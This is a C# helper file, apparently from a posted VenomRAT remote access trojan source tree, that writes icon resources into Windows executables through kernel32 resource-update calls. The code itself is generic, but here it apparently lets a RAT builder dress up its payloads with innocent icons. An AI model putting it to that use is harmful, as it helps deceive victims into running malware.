VenomRat-SourceCode/Helper/IconInjector.cs
2023-07-29 23:37:10 +05:30

184 lines
5.3 KiB
C#

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security;
namespace Server.Helper;
public static class IconInjector
{
[SuppressUnmanagedCodeSecurity]
private class NativeMethods
{
[DllImport("kernel32")]
public static extern IntPtr BeginUpdateResource(string fileName, [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, int dataSize);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
}
private struct ICONDIR
{
public ushort Reserved;
public ushort Type;
public ushort Count;
}
private struct ICONDIRENTRY
{
public byte Width;
public byte Height;
public byte ColorCount;
public byte Reserved;
public ushort Planes;
public ushort BitCount;
public int BytesInRes;
public int ImageOffset;
}
private struct BITMAPINFOHEADER
{
public uint Size;
public int Width;
public int Height;
public ushort Planes;
public ushort BitCount;
public uint Compression;
public uint SizeImage;
public int XPelsPerMeter;
public int YPelsPerMeter;
public uint ClrUsed;
public uint ClrImportant;
}
[StructLayout(LayoutKind.Sequential, Pack = 2)]
private struct GRPICONDIRENTRY
{
public byte Width;
public byte Height;
public byte ColorCount;
public byte Reserved;
public ushort Planes;
public ushort BitCount;
public int BytesInRes;
public ushort ID;
}
private class IconFile
{
private ICONDIR iconDir;
private ICONDIRENTRY[] iconEntry;
private byte[][] iconImage;
public int ImageCount => iconDir.Count;
public byte[] ImageData(int index)
{
return iconImage[index];
}
public static IconFile FromFile(string filename)
{
IconFile iconFile = new IconFile();
byte[] array = File.ReadAllBytes(filename);
GCHandle gCHandle = GCHandle.Alloc(array, GCHandleType.Pinned);
iconFile.iconDir = (ICONDIR)Marshal.PtrToStructure(gCHandle.AddrOfPinnedObject(), typeof(ICONDIR));
iconFile.iconEntry = new ICONDIRENTRY[iconFile.iconDir.Count];
iconFile.iconImage = new byte[iconFile.iconDir.Count][];
int num = Marshal.SizeOf(iconFile.iconDir);
Type typeFromHandle = typeof(ICONDIRENTRY);
int num2 = Marshal.SizeOf(typeFromHandle);
for (int i = 0; i <= iconFile.iconDir.Count - 1; i++)
{
ICONDIRENTRY iCONDIRENTRY = (ICONDIRENTRY)Marshal.PtrToStructure(new IntPtr(gCHandle.AddrOfPinnedObject().ToInt64() + num), typeFromHandle);
iconFile.iconEntry[i] = iCONDIRENTRY;
iconFile.iconImage[i] = new byte[iCONDIRENTRY.BytesInRes];
Buffer.BlockCopy(array, iCONDIRENTRY.ImageOffset, iconFile.iconImage[i], 0, iCONDIRENTRY.BytesInRes);
num += num2;
}
gCHandle.Free();
return iconFile;
}
public byte[] CreateIconGroupData(uint iconBaseID)
{
byte[] array = new byte[Marshal.SizeOf(typeof(ICONDIR)) + Marshal.SizeOf(typeof(GRPICONDIRENTRY)) * ImageCount];
GCHandle gCHandle = GCHandle.Alloc(array, GCHandleType.Pinned);
Marshal.StructureToPtr(iconDir, gCHandle.AddrOfPinnedObject(), fDeleteOld: false);
int num = Marshal.SizeOf(iconDir);
for (int i = 0; i <= ImageCount - 1; i++)
{
GRPICONDIRENTRY structure = default(GRPICONDIRENTRY);
BITMAPINFOHEADER bITMAPINFOHEADER = default(BITMAPINFOHEADER);
GCHandle gCHandle2 = GCHandle.Alloc(bITMAPINFOHEADER, GCHandleType.Pinned);
Marshal.Copy(ImageData(i), 0, gCHandle2.AddrOfPinnedObject(), Marshal.SizeOf(typeof(BITMAPINFOHEADER)));
gCHandle2.Free();
structure.Width = iconEntry[i].Width;
structure.Height = iconEntry[i].Height;
structure.ColorCount = iconEntry[i].ColorCount;
structure.Reserved = iconEntry[i].Reserved;
structure.Planes = bITMAPINFOHEADER.Planes;
structure.BitCount = bITMAPINFOHEADER.BitCount;
structure.BytesInRes = iconEntry[i].BytesInRes;
structure.ID = Convert.ToUInt16(iconBaseID + i);
Marshal.StructureToPtr(structure, new IntPtr(gCHandle.AddrOfPinnedObject().ToInt64() + num), fDeleteOld: false);
num += Marshal.SizeOf(typeof(GRPICONDIRENTRY));
}
gCHandle.Free();
return array;
}
}
public static void InjectIcon(string exeFileName, string iconFileName)
{
InjectIcon(exeFileName, iconFileName, 1u, 1u);
}
public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID)
{
IconFile iconFile = IconFile.FromFile(iconFileName);
IntPtr hUpdate = NativeMethods.BeginUpdateResource(exeFileName, deleteExistingResources: false);
byte[] array = iconFile.CreateIconGroupData(iconBaseID);
NativeMethods.UpdateResource(hUpdate, new IntPtr(14L), new IntPtr(iconGroupID), 0, array, array.Length);
for (int i = 0; i <= iconFile.ImageCount - 1; i++)
{
byte[] array2 = iconFile.ImageData(i);
NativeMethods.UpdateResource(hUpdate, new IntPtr(3L), new IntPtr(iconBaseID + i), 0, array2, array2.Length);
}
NativeMethods.EndUpdateResource(hUpdate, discard: false);
}
}